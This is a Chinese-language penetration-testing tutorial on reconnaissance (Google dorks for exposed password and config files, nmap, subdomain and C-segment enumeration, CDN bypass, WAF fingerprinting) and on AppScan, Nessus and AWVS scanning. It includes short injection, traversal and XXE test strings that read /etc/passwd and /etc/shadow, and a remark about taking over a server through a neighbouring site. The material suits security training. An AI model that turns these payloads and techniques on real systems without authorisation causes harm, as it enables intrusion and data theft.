渗透测试流程(一)

文章目录

1、信息收集

渗透测试的流程

1.确定目标

2.信息收集

3.漏洞扫描

4.漏洞利用

5.形成报告

信息收集的内容

域名信息、IP段、开放的端口、网站架构、文件目录结构、软件版本、WAF、旁站、C段……

信息收集的分类

1、域名相关信息

2、IP相关信息

3、端口服务相关信息

4、指纹识别

5、Google Hacking

6、目录信息

7、Git Hack

Google hacking 信息收集

intext:寻找正文中含有关键字的网页,例如:intext:后台登录, 将只返回正文中包含 后台登录的网页。

intitle:寻找标题中含有关键字的网页,例如:intitle:后台登录,将只返回标题中包含 后台登录 的网页。intitle:后台登录 密码将返回标题中包含黑客而正文中包含中国的网页。

allintitle:用法和intitle类似,只不过可以指定多个词,例如:alltitle:后台登录 管理员, 将返回标题中包含黑客和中国的网页。

inurl:将返回url中含有关键词的网页:例如:inurl:Login,将返回url中含有 Login 的网页。

allinurl:用法和inurl类似,只不过可以指定多个词,例如:inurl:Login admin, 将返回url中含有 Login 和 admin 的网页。

site:指定访问的站点,例如:site:baidu.com inurl:Login,将只在baidu.com 中查找url中含有 Login的网页。

filetype:指定访问的文件类型,例如:site:baidu.com filetype:pdf, 将只返回baidu.com站点上文件类型为pdf的网页。

link:指定链接的网页,例如:link:www.baidu.com , 将返回所有包含指向 www.baidu.com 的网页。

info:返回站点的指定信息,例如:info:www.baidu.com, 将返回百度的一些信息。

查找网站后台:

site:xx.com intext:管理

site:xx.com inurl:login

site:xx.com intitle:后台

查看服务器使用的程序:

site:xx.com filetype:asp

site:xx.com filetype:php

site:xx.com filetype:jsp

site:xx.com filetype:aspx

查看上传漏洞:

site:xx.com inurl:file

site:xx.com inurl:load

Index of:

利用 Index of 语法去发现允许目录浏览的web网站,就像在本地的普通目录一样。下面是一些有趣的查询:

index of /admin

index of /passwd

index of /password

index of /mail

index of / +passwd

index of / +password.txt

index of / +.htaccess

index of /root

index of /cgi-bin

index of /logs

index of /config

inurl:

上面这些命令中用的最多的就是 inurl: 了,利用这个命令,可以查到很多意想不到的东西

利用 allinurl:winnt/system32/ 查询:列出的服务器上本来应该受限制的诸如“system32” 等目录,如果你运气足够好,你会发现“system32” 目录里的“cmd.exe” 文件,并能执行他,接下来就是提升权限并攻克了。

查询 allinurl:wwwboard/passwd.txt 将列出所有有“WWWBoard Password vulnerability”漏洞的服务器,阅读更多请参见下面链接。

查询 inurl:.bash_history 将列出互联网上可以看见 “inurl:.bash_history” 文件的服务器。这是一个命令历史文件,这个文件包含了管理员执行的命令,有时会包含一些敏感信息比如管理员键入的密码。

查询 inurl:config.txt 将看见网上暴露了“inurl:config.txt”文件的服务器,这个文件包含了经过哈希编码的管理员的密码和数据库存取的关键信息

目录扫描信息收集

什么是目录扫描

目录扫描可以让我们看到这个网站存在多少目录,多少页面,探索出网站的整体结构。

通过目录扫描我们还可以扫描敏感文件,后台文件,数据库文件,和信息泄露文件,等等。

常见的目录信息泄露

目录遍历漏洞:

目录遍历(路径遍历)是由web服务器或者web应用程序对用户输入的文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件(可以是web根目录以外的文件),甚至执行系统命令。

目录遍历漏洞原理:

程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。

敏感信息泄露

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到

比如:

通过访问url下的目录,可以直接列出目录下的文件列表

输入错误的url参数后报错信息里面包含操作系统,中间件,开发语言的版本或其他信息(SQL注入)

前端的源码(html,css,js)里面包含了铭感信息,比如后台登录地址,内网接口信息,甚至账号密码等;

常见的敏感目录和文件

robots.txt 允许爬虫爬取的页面

sitemap.xml 指导搜索引擎搜索哪些页面

网站的备份文件 / 数据

后台登录的目录: /admin, /manage

安装包(源码)列如:1.zip,非开源,商用

上传的目录: 文件上传漏洞, /upload,/upload.php

php的探针: phpinfo,雅黑探针

文本编辑器: kindeditor,CKeditor , Ueditor,文件上传漏洞、命令注入

Linux: /etc/passwd , /etc/shadow,/etc/sudoers

MacOS: .DS_Store

编辑器的临时文件 :.swp

目录穿越: Windows IIS , Apache

tomcat WEB-INF:

WEB-INF/web.xml : Web 应用程序配置文件 , 描述了 servlet 和其他的应用组件配置及命名规则 .

WEB-INF/database.properties : 数据库配置文件

WEB-INF/classes/ : 一般用来存放 Java 类文件 (.class)

WEB-INF/lib/ : 用来存放打包好的库 (.jar)

WEB-INF/src/ : 用来放源代码 (.asp 和 .php 等)

其他非常规文件 :secret.txt , password.txt

文件扫描的字典

kali:wordlists + 网址

dirb: /usr/share/wordlists/dirb/common.txt

dirb + 网址

旁站和C段信息收集

旁站指的是同一服务器上的其他网站,很多时候,有些网站可能不是那么容易入侵。那么,可以查看该网站所在的服务器上是否还有其他网站。如果有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!
对于红蓝对抗和护网,C段扫描比较有意义。对于单独网站的渗透测试,C段扫描意义不大。C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1,A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。

旁站和C段在线查询地址:
存活资产探测

C段+全段口会生成很多资产,但是其中会有不能访问的,所以我们需要资产探活。

使用方法就是,直接加IP地址段或者域名列表

url.txt放上需要查询的网址。

EHole -l url.txt

nmap扫描

相对被动扫描而言,主动扫描的范围要小得多。主动扫描一般都是针对目标发送特制的数据包,然后根据目标的反应来获得一些信息。这些信息主要包括目标主机是否在线,目标主机的指定端口是否开放,目标主机的操作系统,目标主机上运行的服务等等。

目标主机是否在线

目标主机上开放的端口

目标主机所使用的操作系统

目标主机上运行的程序

对Web服务进行扫描

nmap扫描

常用命令–1:

-sS:TCP SYN扫描

-p:指定端口号扫描

-v:显示扫描过程

-F:快速扫描

-Pn:禁止ping后扫描:跳过主机发现的过程进行端口扫描

-A:全面的系统扫描:包括打开操作系统探测、版本探测、脚本探测、路径跟踪探测

扫描指定的IP开放端口:

nmap -sS -p 端口号 -v 192.168.1.2

穿透防火墙扫描:

nmap -Pn -A 192.168.1.2

常用命令–2

-sU:UDP扫描

-sT:TCP扫描

-sV:扫描系统和程序版本号检测

–scrpt=vuln:全面的漏洞扫描

-n:禁止反向域名解析

-R:反向域名解析

-6:启用IPV6扫描

漏洞扫描:

nmap -script=vuln 192.168.1.2

使用vuln脚本进行全面的漏洞扫描

指纹识别扫描:

nmap -sV -v 192.168.1.2

扫描系统和程序版本号检测,并且输出详细信息

Nmap端口扫描状态

Open:端口开启

Closed:端口关闭

Filtered:端口被过滤,数据没有到达主机,返回的结果为空,数据被防火墙拦截

Unfiltered:未被过滤,数据没有到达主机,但是不能识别端口的当前状态

Open|filtered:开放或者被过滤,端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmac扫描中

Closed|filtered:关闭或者被过滤,只发生在IP、ID、idle扫描

使用Nmap中的脚本进行信息收集

1、whois信息查询

nmap --script=whois-domain www.zkaq.cn

2、DNS解析查询

nmap --script=dns-brute shop.aqlab.cn

(1)、域名信息收集

域名是用IP、找到网络上的一台计算机

域名的分类:国际域名、国别域名、新顶级域名

域名联系人信息:whois、域名反查、ICP备案、企业信息查询

子域名信息

域名DNS信息

域名与IP查询信息收集

https://whois.chinaz.com/

https://webwhois.cnnic.cn/WelcomeServlet

kali命令:

whois +网站名

whois qq.com

域名反查:

https://whois.chinaz.com/reverse/email

https://beian.miit.gov.cn/#/Integrated/index

子域名查询

比如whoami.com是一个域名,那么a.whoami.com、b.whoami.com类似这样的格式的域名就是whoami.com的子域名。

怎么查询子域名?

工具的使用 OneFor All

下载好OneForAll,进入到OneForAll的目录下,执行以下命令安装OneForAll所需的环境依赖

单个目标网站扫描

python oneforall.py --target baidu.com run

–target 指定扫描的网站

扫描完成后会在oneforall的目录下的result文件夹里生成爆破出来的子域名

批量扫描

python oneforall.py --targets target.txt run

#target.txt写上需要批量爬取域名

扫描后的结果同样会在oneforall的目录下的result文件夹里生成全部扫描完成后还会生成一个excal表格,非常方便查看和筛选域名信息

在线网站查询子域名

https://search.censys.io/

https://crt.sh/

https://site.ip138.com/

(2)、IP信息

nslookup 查询域名的ip

是一个用于查询DNS记录的命令。通过nslookup命令,我们可以获取一个域名的IP地址和其他相关信息

如何获取CDN背后的真是IP

超级ping

历史DNS

通过子域名查询IP

国外主机解析

其他,例如邮件、SSL证书、手机App抓包、网络空间搜索引擎等

IP归属查询

http://ipwhois.cnnic.net.cn/

(5)、端口服务信息

在得到真实IP之后使用端口扫描工具进行扫描查看开放的服务及端口

Windows netstat -aon|findstr 3306

Linux netstat -an|grep 3306

远程机器端口

telnet 192.168.142.137 80

wget 192.168.142.137 80

nc -va 192.168.142.137 445

nmap

扫描主机

扫描端口

探测操作系统、软件版本

常用的参数:

简单扫描: nmap -sP 192.168.142.137

指定端口扫描: nmap -p0-65535 192.168.142.137

探测操作系统:nmap -O 192.168.142.137

只进行主机发现,不进行端口扫描:nmap -sn 192.168.142.137/24

(6)、CMS指纹识别

指纹识别:通过关键特征,识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等

识别对象:

1、 CMS信息 :比如Discuz、织梦、帝国CMS、PHPCMS、ECshop等;

2、前端技术:比如HTML5、jquery、bootstrap、Vue、ace等;

3、开发语言:比如PHP、Java、Ruby、Python、C#等;

4、Web服务器:比如Apache、 Nginx、IIS、lighttpd等;

5、应用服务器:比如Tomcat、Jboss、Weblogic、Websphere等;

6、操作系统信息:比如Linux、win2k8、win7、Kali、Centos等;

7、 CDN信息 :是否使用CDN,如cloudflare、帝联、蓝讯、网宿、七牛云、阿里云等;

8、 WAF信息 :是否使用WAF,如D盾、云锁、宝塔、安全狗、360等

CMS指纹识别思路:

版权信息

特定文件MD5值

查看网页源代码

通过特定文件分析

CMS识别工具

浏览器插件

Wappalyzer:https://www.wappalyzer.com

whatruns :https://www.whatruns.com/

kali工具:

whatweb -v www.baidu.com

whatweb -v 网址

在线网站

http://whatweb.bugscaner.com

http://finger.tidesec.com/

在这里插入图片描述

(7)、CDN指纹识别思路

什么是CDN

在渗透测试过程中,经常会碰到网站有CDN的情况。CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。说的简单点,就是一组在不同运营商之间的对接点上的高速缓存服务器,把用户经常访问的静态数据资源直接缓存到节点服务器上,当用户再次请求时,会直接分发到离用户近的节点服务器上响应给用户,当用户有实际数据交互时才会从远程Web服务器上响应,这样可以大大提高网站的响应速度及用户体验。

CDN优点

提高用户访问速率,优化用户使用体验。

隐藏真实服务器的IP

提供WAF功能,目前很多CDN也提供了WAF的功能,我们的访问请求会先经过CDN节点的过滤,该过滤可对SQL注入、XSS、Webshell上传、命令注入、恶意扫描等攻击行为进行有效检测和拦截。CDN节点将认为无害的数据提交给真实的主机服务器。

问方式的不同

  • 传统访问:用户访问域名–>解析服务器IP–>访问目标主机
  • 普通CDN:用户访问域名–>CDN节点–>真实服务器IP–>访问目标主机
  • 带WAF的CDN:用户访问域名–>CDN节点(云WAF)–>真实服务器IP–>访问目标主机

CDN的配置

  1. 将域名的 NS 记录指向 CDN 厂商提供的 DNS 服务器。

  2. 给域名设置一个 CNAME 记录,将它指向CDN厂商提供的另一个域名。

如何获取CDN背后的真实IP

超级ping https://ping.chinaz.com

历史DNS

通过子域名查询

国外主机解析

https://www.host-tracker.com/en

https://www.webpagetest.org/

https://dnscheck.pingdom.com/

其他

常规:

ping

nslookup

超级ping https://ping.chinaz.com/

ldb

专用工具

国内:http://cdn.chinaz.com/

国外:https://www.cdnplanet.com/tools/cdnfinder/

如何判断目标网站有没有使用CDN

ping 因特网包探索器一般用来检测网络是否通畅。

nslookup 如图给出了两个或两个以上地址的应答,就说明目标网站很可能使用了CDN服务

如何绕过CDN找寻真实IP

1.通过域名解析记录

通过域名解析记录指向服务器,通过历史域名解析的记录就可以去查询一些网站的真实IP,一些网站在开始起家时,是没有使用CDN技术的,很可能是近几年才开始使用CDN技术的,如果你去查询这些网站所有的解析记录,甚至可以查询到刚开始这个网站没有使用CDN时的域名解析记录,那这时查出来的地址很可能就是真实IP

网站地址:https://viewdns.info/iphistory/

2、通过空间安全搜索引擎

fofa网络空间搜索引擎

网站地址:https://fofa.info/

shodan网络空间搜索引擎

网站地址:https://www.shodan.io/

鹰图网络空间搜索引擎

网站地址:https://hunter.qianxin.com/

censys网络空间搜索引擎

网站地址:https://search.censys.io/

zoomeye 钟馗之眼网络空间搜索引擎

网站地址:https://www.zoomeye.org/

360quake网络空间搜索引擎

网站地址:https://quake.360.cn/quake/

(8)、WAF指纹识别

什么是WAF

WAF的全称是(Web Application Firewall )Web 应用防火墙用来过滤HTTP/HTTPS的请求

在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF 的工作原理有一定的理解。

WAF(Web Application Firewall) 可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。WAF针对的是应用层而非网络层的入侵,从技术角度应该称之为Web IPS。

WAF的主要难点是对入侵的检测能力,尤其是对Web服务入侵的检测,WAF最大的挑战是识别率。对于已知的攻击方式,可以谈识别率,但是对于未知的攻击手段,WAF是检测不到的。

基于规则库匹配的WAF

目前市面上大多数的WAF都是基于规则的WAF。即WAF对接数据收到的包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。

对于这种WAF,它的工作过程是这样的:解析HTTP请求——>匹配规则——>防御动作——>记录日志

指纹识别指的是通过关键特征,识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等

具体实现如下:

  1. 解析http请求:协议解析模块
  2. 匹配规则:规则检测模块,匹配规则库
  3. 防御动作:return 403 或者跳转到自定义界面,或者不返回任何数据,或者拉黑IP
  4. 日志记录:记录到elk中

WAF分类:

硬件WAF

云WAF

软件WAF

识别思路:

额外的cookie

任何响应或请求的附加标头

响应内容(如果被阻止请求)

响应代码(如果被阻止请求)

IP地址(云WAF)

JS客户端模块(客户端WAF)

如何触发拦截:

xsstring =‘’

sqlistring =“UNION SELECT ALL FROM information_schema AND 'or SLEEP(5) or ‘”

lfistring =‘…/…/…/…/etc/passwd’

rcestring =‘/bin/cat /etc/passwd; ping 127.0.0.1; curl google.com’

xxestring='<!ENTITY xxe SYSTEM "file:///etc/shadow">]>&hack;‘

工具:

kali: wafw00f

潮汐指纹:http://finger.tidesec.net/

(9)、搜索引擎收集信息

Google Hacking

2002

Johnny Long

Google Dorks ——GoogleHacking

运算符

完全匹配 ——“网络安全工程师”

任意字词 ——“批发OR特价”

不包含——burp suite -xxx

数字范围——number…number

高级语法

只搜索某个网站的内容 ——site:zhihu.com

网页的内容包括

allintext:Powered by Discuz

intext:Powered by DIscuz

标题出现:

allintitle:后台登录

intitle:后台登录

URL地址包括

allinurl:admin.php

inurl:index.php?id=1

文件类型指定:filetype:pdf

index of

可以结合使用

语法数据库:

https://www.exploit-db.com/google-hacking-database

https://github.com/BullsEye0/google_dork_list

工具:github搜索

google hacking

google dorks

(10)、网络空间搜索引擎

OSINT—>Open source intelligence —>开源网络情报

怎么扫描:

用网络扫描的工具:

namp

zmap

方式:

IP库

枚举

怎么标识一个设备

爬虫 —url

ip—域名

开放端口

操作系统

物理地址—

MAC地址

设备的类型

实施威胁地图—https://www.fireeye.com/cyber-map/threat-map.html

安全性—安全研究者

shodan

用法实例

shodan host 172.67.167.88

shodan count apache

Censys

免费

收录了证书

ZoomEye

网络空间资源测绘

Xmap

2、漏洞扫描

常见开源漏洞扫描工具:appscan awvs nessus

1、appcan

Appscan 10中文版是是全新网络安全漏洞扫描软件,软件可以直接可以对OS命令、SSRF和XXE攻击等漏洞进行检测,使得漏洞检测更加容易,提高漏洞的扫描效率。软件同时支持动态、静态、互动分析三种不同的测试功能,可自动化扫描检测网络或者系统安全漏洞,并采用全新的爬虫技术,能够根据网站入口自动摸取网页链接进行安全扫描,提供了扫描、报告和修复建议等功能。
4.扫描方式
Static: 静态分析 (白盒扫描) 源码分析:支持(Taint analysis\pattern matching)
Dynamic: 动态分析 (黑盒扫描)
Hybrid:混合分析(黑,白)【知道源代码】
Run-Time: 运行时分析(玻璃盒)【不知道源代码】
Client-Side:客户端分析(Javascript)

1、 扫描web应用程序

1、打开AppScan,新建–>扫描web应用程序

在这里插入图片描述

进入扫描配置向导页面,URL输入框的地址即为被测网址or其IP地址,如输入以下被测url,点击下一步

在这里插入图片描述

记录 通过界面右侧的记录(R)按钮,打开APPScan内置浏览器并输入登录信息,关闭内置浏览器后,AppScan即可记录该用户名和密码,扫描的时候相当于是已登录此账户的状态进行扫描。
自动 用户名和密码即为被测网站的登录账户
提示 根据网站扫描探索过程中需要登录会提示输入登录信息。
无 不需输入登录账户

在这里插入图片描述

6.选择【缺省值】测试策略,点击【下一步】

在这里插入图片描述

7.选择【无优化】,点击下一步

在这里插入图片描述

8.选择【启动扫描】,选择【完成“扫描配置向导”后启动“扫描专家”】,点击【完成】

在这里插入图片描述

9.点击【是】

在这里插入图片描述

10.选择自己喜欢的位置保存

在这里插入图片描述

11.等待扫描专家评估扫描

在这里插入图片描述

12.点击【应用建议】

在这里插入图片描述

4.扫描过程中发现问题时,会出现气泡提示

在这里插入图片描述

15.扫描完成后,会自动分析存在安全漏洞

在这里插入图片描述

16.点击【报告】,选择详细报告,点击【保存报告】

2、被动手动探索扫描

被动式扫描:浏览器代理到AppScan,然后进行手工操作,探索产生出的流量给AppScan进行扫描。
他的优点是:扫描足够精准,覆盖率更加高,减少不必要的干扰包等等
1选择【扫描】–【手动探索】–【外部设备】

在这里插入图片描述

2.火狐浏览器点击【代理】–选择【选项】

在这里插入图片描述

3.点击【添加】

在这里插入图片描述

4.输入标题【appsacn】,添加ip【127.0.0.1】,添加端口【49729】,点击保存

在这里插入图片描述

5.开启代理

在这里插入图片描述

6.操作被测网站
7.切换到appScan 点击【停止记录】

在这里插入图片描述

8.选择网站,点击【确定】

在这里插入图片描述

在这里插入图片描述

9.点击【扫描】,选择【仅测试】

在这里插入图片描述

10.点击【是】

在这里插入图片描述

11.选则储存位置,点击保存

在这里插入图片描述

12.等待测试结果
在这里插入图片描述

在这里插入图片描述

3、appscan内置浏览器扫描

1.点击【手动探索】,选则【AppScan Chromium 浏览器】

在这里插入图片描述

2.点击【是】

在这里插入图片描述

3.输入URL 点击【确定】

在这里插入图片描述

4.点击取消

在这里插入图片描述

5.点击【配置】–【参数和cookie】–【定制头】

在这里插入图片描述

6.在火狐浏览器复制cookie

在这里插入图片描述

7.切换到AppScan,点击【+】,添加cookie,点击【确定】

在这里插入图片描述

8.点击确定

在这里插入图片描述

9.点击【手动探索】,选则【AppScan Chromium 浏览器】

在这里插入图片描述

10.进行手工探索,完成后,点击【确定】

在这里插入图片描述

11.点击【确定】

在这里插入图片描述

在这里插入图片描述

12.点击【扫描】–【仅测试】

在这里插入图片描述

13.点击【是】
在这里插入图片描述

14.选择保存位置,点击【保存】

在这里插入图片描述

15.等待扫描结果

在这里插入图片描述

在这里插入图片描述

4、绕过登录验证码深入扫描

我们工作中最长碰到的工作场景是网站采用https协议,这时我们要用appScan进行扫描时,就需要先安装证书
1.证书安装
1.新建一个文件,点击【文件】,点击【新建】

在这里插入图片描述

2.选择【扫描web应用程序】

在这里插入图片描述

3.点击【取消】

在这里插入图片描述

4.点击【手动扫描】,选择【外部设备】

在这里插入图片描述

5.记录代理端口

在这里插入图片描述

6.点击【记录代理配置】

在这里插入图片描述

7.点击【记录代理】,点击【导出】

在这里插入图片描述

8.选择喜欢的位置,点击【保存】

在这里插入图片描述

9.点击【取消】

在这里插入图片描述

10.解压已经保存的证书

在这里插入图片描述

11.切换到火狐浏览器,点击【更多】,点击【设置】

在这里插入图片描述

12.输入证书,点击【回车】,点击【查看证书】

在这里插入图片描述

13.点击【证书颁发机构】,点击【导入】

在这里插入图片描述

14.选择证书,点击【打开】

在这里插入图片描述

15.勾选信任证书,点击【确定】

在这里插入图片描述

16.点击【确定】

在这里插入图片描述

5、手工探测绕过登录

扫描过程会遇到网站 存在 手机验证码,图形验证码,滑动验证等等,这时候想要深度扫描时,就需要进行登录绕过。有两种方法可以选择
第一:使用第三节课介绍的定制头解决
第二:使用手工探索-外置设备进行登录绕过,我们今天讲解第二种
1.新建一个文件,点击【文件】,点击【新建】

在这里插入图片描述

2.选择【扫描web应用程序】

在这里插入图片描述

3.输入被测网址,点击【下一步】

在这里插入图片描述

4.点击【记录】,点击【AppScan Chromium 浏览器】

在这里插入图片描述

5.进行登录

在这里插入图片描述

6.点击【我已登录到站点】

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以看到,登录回放是失败,遇到这种情况,我们今天使用手工探索-外置设备进行登录绕过
7.点击【关闭】

在这里插入图片描述

8.点击【取消】

在这里插入图片描述

9.点击【取消】

在这里插入图片描述

10.点击【手动扫描】,选择【外部设备】

在这里插入图片描述

11.记录代理端口

在这里插入图片描述

12.切换到火狐浏览器,进入被测网址,登录

在这里插入图片描述

13.点击【代理】,点击【选项】

在这里插入图片描述

14.点击【编辑】

在这里插入图片描述

15.输入AppScan的端口,点击【保存】

在这里插入图片描述

16.切换到被测网站,点击【代理】,选择【appscan】

在这里插入图片描述

17.点击想要测试功能

在这里插入图片描述

在这里插入图片描述

18.点击【停止记录】

在这里插入图片描述

19.选择被测网站,点击【确定】

在这里插入图片描述

20.等待流量加载完成

在这里插入图片描述

21.点击【扫描】,点击【仅测试】

在这里插入图片描述

22.等待测试结果

在这里插入图片描述

在这里插入图片描述

6、自定义扫描策略,扫描针对性漏洞

AppScan安全扫描往往速度是很慢的,有些场景下他的扫描项目又不是我们需要的,这时候就需要定制专属的扫描策略了。
1.选择【扫描web应用程序】

在这里插入图片描述

2.点击【取消】

在这里插入图片描述

3.点击【配置】

在这里插入图片描述

4.输入被目标网站url

在这里插入图片描述

5.选择【参数和cookie】,选择【定制头】,点击【+】

在这里插入图片描述

4.切换火狐浏览器,复制网站cookie

在这里插入图片描述

5.切换到AppScan,填写定制头,点击【确定】

在这里插入图片描述

6.点击【测试策略】,选择【缺省值】

在这里插入图片描述

7.将所有的选中状态去掉

在这里插入图片描述

8.搜索sql注入

在这里插入图片描述

9.展开全选该漏洞的pload

在这里插入图片描述

10.点击【应用】

在这里插入图片描述

11.点击【导出】

在这里插入图片描述

12.选择喜欢的位置保存

在这里插入图片描述

13.点击【导入】

在这里插入图片描述

14.选则需要的自定义策略

在这里插入图片描述

15.点击【确定】

在这里插入图片描述

16.点击【手动扫描】,选择【AppScan Chromium 浏览器】

在这里插入图片描述

17.选则要探索的页面,然后点击【确定】

在这里插入图片描述

18.点击【确定】

在这里插入图片描述

19.等待加载完成

在这里插入图片描述

20.点击【扫描】,选择【仅测试】

在这里插入图片描述

21.等待测试结果

在这里插入图片描述

7、扫描报告

1.加载扫描结果
1.点击【打开】

在这里插入图片描述

2.选择之前保存过的扫描结果

在这里插入图片描述

3.等待加载完成

在这里插入图片描述

2.领导查看的报告
1.点击【报告】

在这里插入图片描述

2.模板选择为【缺省值】

在这里插入图片描述

3.最低严重性选择为【中】,测试类型选择为【应用程序】

在这里插入图片描述

4.点击【布局】

在这里插入图片描述

5.选择【其他徽标】,点击上传徽标

在这里插入图片描述

6.选择徽标,点击打开

在这里插入图片描述

7.修改报告标题,比如输入 【哔哩嘀哩网站安全评估报告】

在这里插入图片描述

8.点击【保存报告】

在这里插入图片描述

3.其他报告
1.行业标准报告

在这里插入图片描述

2.合规一致性报告

在这里插入图片描述

3.基于模板报告

在这里插入图片描述

2、Nessus

Nessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之一

1.Nessus Host Discovery

1.启动nessus
cd nessus
sh qd_nessus.sh
2.进入nessus网站
https://192.168.3.47:8834/

在这里插入图片描述

3.点击【New Scan】

在这里插入图片描述

4.选择【Host Discovery】

在这里插入图片描述

5.输入name【主机发现】,Description【主机发现】,Targets【192.168.3.0/24】,点击【Save】

在这里插入图片描述

6.点击【 Schedule】
这里是配置定时任务的,可以忽略

在这里插入图片描述

7.点击【 Notifications】
里主要是配置邮件提醒的,可以配置也可以忽略

在这里插入图片描述

8.点击【Discovery 】
这里选择常用端口扫描

在这里插入图片描述

9.点击【Report 】

在这里插入图片描述

10.点击【Advanced 】
这里是高级设置选项

在这里插入图片描述

11.点击【Plugins】
这里是配置插件的地方,主机发现不要配置插件

在这里插入图片描述

12.点击【保存】

在这里插入图片描述

13.点击【主机发现】

在这里插入图片描述

14.点击【More】,点击【Launch】

在这里插入图片描述

15.点击【Launch】

在这里插入图片描述

16.点击【主机发现】

在这里插入图片描述

17.查看扫描结果

在这里插入图片描述

18.选择其中一个主机查看

在这里插入图片描述

19.查看具体的扫描结果

在这里插入图片描述

2.Nessus 高级扫描

Nessus高级扫描
1.启动nessus
cd nessus
sh qd_nessus.sh
2.进入nessus网站,点击【new Scan】

在这里插入图片描述

3.选择【adVanced Scan】

在这里插入图片描述

4.输入Name【高级扫描】,Description【高级扫描】,Targets【需要扫描的ip】

在这里插入图片描述

5.点击【 Schedule】
这里是配置定时任务的,可以忽略

在这里插入图片描述

6.点击【 Notifications】
这里主要是配置邮件提醒的,可以配置也可以忽略

在这里插入图片描述

7.点击【Discovery 】,点击【主机发现】

在这里插入图片描述

8.点击【Port Scanning】

在这里插入图片描述

9.点击【Service Discovery】

在这里插入图片描述

10.点击【ASSESSMENT】,点击【general】

在这里插入图片描述

11.点击【Brute Force】

在这里插入图片描述

12.点击【SCADA】

在这里插入图片描述

13.点击【Web Application Settings】

在这里插入图片描述

14.点击【Windows】

在这里插入图片描述

15.点击【Malware 】

在这里插入图片描述

16.点击【Database】

在这里插入图片描述

17.点击[REPORT]

在这里插入图片描述

18.点击【ADVANCED】

在这里插入图片描述

19.点击【Credentials 】,选则【windows】,输入账户密码(必须输入)

在这里插入图片描述

20.点击【Plugins】
所有的扫描服务,都是由插件提供的

在这里插入图片描述

21.点击【Save】

在这里插入图片描述

22.点击【高级扫描】,点击【More】,点击【Launch】

在这里插入图片描述

23.点击【Launch】

在这里插入图片描述

24.点击【高级扫描】

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3.Nessus 扫描log4J漏洞

1.扫描环境搭建
1.centos7 安装装宝塔面板

在这里插入图片描述

2.面板里下载docker

在这里插入图片描述

在这里插入图片描述

3.进入centos检查docker是否生效
docker --version
4.安装docker-compose
Docker Compose是一个用来定义和运行复杂应用的Docker工具。一个使用Docker容器的应用,通常由多个容器组成。使用Docker Compose不再需要使用shell脚本来启动容器。
Compose 通过一个配置文件来管理多个Docker容器,在配置文件中,所有的容器通过services来定义,然后使用docker-compose脚本来启动,停止和重启应用,和应用中的服务以及所有依赖服务的容器,非常适合组合使用多个容器进行开发的场景。
4.1 下载 docker-compose
curl -L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose- ( u n a m e − s ) − (uname -s)- (unames)(uname -m)” -o /usr/local/bin/docker-compose
4.2 查看docker-compose
ls /usr/local/bin/
4.3 给docker-compose目录增加可执行权限
chmod +x /usr/local/bin/docker-compose
ls /usr/local/bin/
4.4 查看版本
docker-compose -version

在这里插入图片描述

5.安装vulhub
5.1 创建zsoft文件夹
cd /www/wwwroot/
ls
mkdir softs
ls
cd softs

在这里插入图片描述

5.2 下载 vulhub,并查看

4.Nessus 扫描web服务

1.启动nessus
cd nessus
sh qd_nessus.sh
2.进入nessus网站
3.点击【New Scan】

在这里插入图片描述

4.点击【Web应用程序测试】

在这里插入图片描述

5.输入name【web扫描】,描述【web扫描】,目标【127.0.0.1】

在这里插入图片描述

6.点击【发现】

在这里插入图片描述

7.选择扫描类型【端口扫描(常用端口)】

在这里插入图片描述

8.点击【评估】

在这里插入图片描述

9.扫描类型选择【扫描所有web漏洞(快速)】

在这里插入图片描述

10.点击【证书】

在这里插入图片描述

11.点击【HTTP】

在这里插入图片描述

12.选择身份验证方法【自动认证】

在这里插入图片描述

13.输入用户名【xiaogang】,密码【123456】(需要扫描网站的用户名和密码)

在这里插入图片描述

14.点击【插件】

在这里插入图片描述

15.确认是否在可用的扫描插件

在这里插入图片描述

16.点击【保存】

在这里插入图片描述

17.选择【web扫描】,点击后边的【小三角】

在这里插入图片描述

img

18.点击【web扫描】

在这里插入图片描述

19.等待扫描完成

在这里插入图片描述

在这里插入图片描述

3、AWVS

1.AWVS简介

AWVS(Acunetix Web Vulnerability Scanner)是一款知名的网络漏洞扫描工具,通过网络爬虫测试网站安全,检测流行的Web应用攻击,如跨站脚本、sql 注入等。据统计,75% 的互联网攻击目标是基于Web的应用程序。
2.为什么要用AWVS

在今天,网站的安全是容易被忽视的,黑客具备广泛的攻击手段,例SQL注入,XSS,文件包含,目录遍历,参数篡改,认证攻击等,虽然你配置了正确的防火墙和WAF,但是这些安全防御软件仍然存在策略性的绕过,因此,需要您定期的扫描你的web应用,但是手动检测你所有的web应用是否存在安全漏洞比较复杂和费时,所以您需要一款自动化的web漏洞扫描工具来检测您的web应用是否存在安全漏洞。

3.windows 安装
